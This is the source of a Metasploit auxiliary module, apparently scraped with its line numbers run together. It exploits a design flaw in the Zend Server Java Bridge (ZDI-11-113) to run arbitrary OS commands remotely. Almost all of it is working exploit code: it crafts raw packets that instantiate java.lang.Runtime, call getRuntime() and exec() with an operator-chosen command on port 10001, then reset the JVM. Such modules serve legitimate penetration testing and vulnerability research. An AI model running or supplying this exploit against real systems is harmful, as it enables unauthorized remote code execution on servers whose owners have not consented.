Path: blob/master/modules/auxiliary/admin/zend/java_bridge.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Zend Server Java Bridge Design Flaw Remote Code Execution',13'Description' => %q{14This module abuses a flaw in the Zend Java Bridge Component of15the Zend Server Framework. By sending a specially crafted packet, an16attacker may be able to execute arbitrary code.1718NOTE: This module has only been tested with the Win32 build of the software.19},20'Author' => [ 'ikki', 'MC' ],21'License' => MSF_LICENSE,22'References' => [23['OSVDB', '71420'],24['ZDI', '11-113'],25['EDB', '17078'],26],27'DisclosureDate' => '2011-03-28',28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options(37[38Opt::RPORT(10001),39OptString.new('CMD', [false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),40]41)42end4344def run45cmd = datastore['CMD']4647connect4849java_object = [0x33000000].pack('V') + [0x00000000].pack('V')50java_object << [0x0c000000].pack('V') + 'CreateObject'51java_object << [0x02000000].pack('V') + [0x00000004].pack('V')52java_object << "\x11" + 'java.lang.Runtime' + "\x07"53java_object << [0x00000000].pack('V')5455print_status("Creating the Java Object 'java.lang.Runtime'")56sock.put(java_object)57res = sock.get_once || ''58classid = res[5, 4]5960runtime = [0x16000000].pack('V') + classid + [0x0a000000].pack('V')61runtime << 'getRuntime' + [0x00000000].pack('V')6263print_status("Invoking static method 'getRuntime()'")64sock.put(runtime)65res = sock.get_once || ''66methodid = res[5, 4]6768exec = [0x00].pack('n') + [21 + cmd.length].pack('n') + methodid69exec << [0x04000000].pack('V') + 'exec' + [0x01000000].pack('V')70exec << "\x04" + [0x00].pack('n') + [cmd.length].pack('n') + cmd7172print_status("Invoking method 'exec()' with parameter '#{cmd}'")73sock.put(exec)74success = sock.get_once || ''75if (success =~ /\x00\x00\x00/)76print_status('Cleaning up the JVM')77rm = [0x11000000].pack('V') + [0xffffffff].pack('V')78rm << [0x05000000].pack('V') + 'reset'79rm << [0x00000000].pack('V')80sock.put(rm)81else82print_error('Failed to run command...')83disconnect84return85end8687disconnect88end89end909192